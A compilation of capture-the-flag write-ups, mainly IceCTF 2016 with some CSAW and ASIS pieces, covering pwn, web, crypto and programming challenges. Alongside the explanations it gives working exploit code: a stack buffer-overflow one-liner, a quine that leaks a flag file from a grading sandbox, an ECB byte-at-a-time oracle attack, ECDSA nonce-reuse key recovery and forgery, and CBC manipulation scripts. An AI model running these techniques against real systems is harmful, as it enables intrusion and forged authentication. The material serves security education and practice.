```Cookie: USERNAME=admin; TOKEN=2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==GET /profile.wtf?user=7tLx9 HTTP/1.1Host: web.chal.csaw.io:8001...flag{l00k_at_m3_I_am_th3_4dm1n_n0w}
```
# Coinslot (25 p)
```#Hope #Change #Obama2008
nc misc.chal.csaw.io 8000```
The only hard thing about this challenge is to make it handle floats properly, but Numpy and transforming to integer 1/100 parts solves it :-)
```pythonfrom pwn import *import numpy
s = remote('misc.chal.csaw.io', 8000)bills = [10000,5000,1000,500,100,50,20,10,5,1,0.5,0.25,0.1,0.05,0.01]while True: amount = float(s.recvuntil('\n')[1:]) amount = int(numpy.round(amount * 100)) send = [0] * len(bills) for i in range(len(bills)): while bills[i] * 100 <= amount: amount -= bills[i] * 100 send[i] += 1 for i in send: s.recvuntil(':') s.send(str(i) + '\n') print s.recvuntil('\n')```
After a lot of time, we get
```flag{started-from-the-bottom-now-my-whole-team-fucking-here}``` |
## Secu Prim (PPC, 65p)
###ENG[PL](#pl-version)
After connecting to the server we get a PoW to solve, and then the task is to provide number of primes and perfect powers in given range.
The ranges are rather small (less than 2000 numbers in between) so we simply iterate over the given range and use `gmpy` to tell us if the number if a probable prime or a perfect power:
```pythondef solve_task(start, end): print("Range size = " + str(end - start)) counter = 0 for i in range(start, end + 1): if gmpy2.is_prime(i): counter += 1 elif gmpy2.is_power(i): counter += 1 print("Counted " + str(counter)) return counter```
And the whole script with PoW:
```pythonimport hashlibimport reimport socket
import itertoolsimport stringimport gmpy2
def recvuntil(s, tails): data = "" while True: for tail in tails: if tail in data: return data data += s.recv(1)
def proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha256(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c
def get_task(s): sentence = recvuntil(s, ["that: "]) sentence += recvuntil(s, ["\n"]) return sentence
def solve_task(start, end): print("Range size = " + str(end - start)) counter = 0 for i in range(start, end + 1): if gmpy2.is_prime(i): counter += 1 elif gmpy2.is_power(i): counter += 1 print("Counted " + str(counter)) return counter
def main(): url = "secuprim.asis-ctf.ir" port = 42738 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) x = proof_of_work(s) print(x) s.sendall(x + "\n") data = recvuntil(s, "---\n") print(data) while True: data = recvuntil(s, ["like n such", "corret!", "}"]) print(data) if "ASIS" in data: print(data) if "corret" in data: print("failed") break else: task = get_task(s) print(task) b, e = re.findall("that: (\d+) <= n <= (\d+)", task)[0] start = int(b) end = int(e) counter = solve_task(start, end) s.sendall(str(counter) + "\n")
main()```
###PL version
Po połączeniu do serwera dostajemy PoW do rozwiązania a następnie zadaniem jest policzyć ile liczb pierwszych oraz doskonałych potęg jest w zadanym przedziale.
Przedziały są dość małe (nie więcej niż 2000 liczb) więc po prostu iterujemy po każdej liczbie i za pomocą `gmpy` sprawdzamy czy liczba jest pierwsza lub czy jest doskonałą potęgą:
```pythondef solve_task(start, end): print("Range size = " + str(end - start)) counter = 0 for i in range(start, end + 1): if gmpy2.is_prime(i): counter += 1 elif gmpy2.is_power(i): counter += 1 print("Counted " + str(counter)) return counter```
A cały skrypt razem z PoW:
```pythonimport hashlibimport reimport socket
import itertoolsimport stringimport gmpy2
def recvuntil(s, tails): data = "" while True: for tail in tails: if tail in data: return data data += s.recv(1)
def proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha256(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c
def get_task(s): sentence = recvuntil(s, ["that: "]) sentence += recvuntil(s, ["\n"]) return sentence
def solve_task(start, end): print("Range size = " + str(end - start)) counter = 0 for i in range(start, end + 1): if gmpy2.is_prime(i): counter += 1 elif gmpy2.is_power(i): counter += 1 print("Counted " + str(counter)) return counter
def main(): url = "secuprim.asis-ctf.ir" port = 42738 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) x = proof_of_work(s) print(x) s.sendall(x + "\n") data = recvuntil(s, "---\n") print(data) while True: data = recvuntil(s, ["like n such", "corret!", "}"]) print(data) if "ASIS" in data: print(data) if "corret" in data: print("failed") break else: task = get_task(s) print(task) b, e = re.findall("that: (\d+) <= n <= (\d+)", task)[0] start = int(b) end = int(e) counter = solve_task(start, end) s.sendall(str(counter) + "\n")
main()``` |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```

### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!

### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:

Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:

Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905d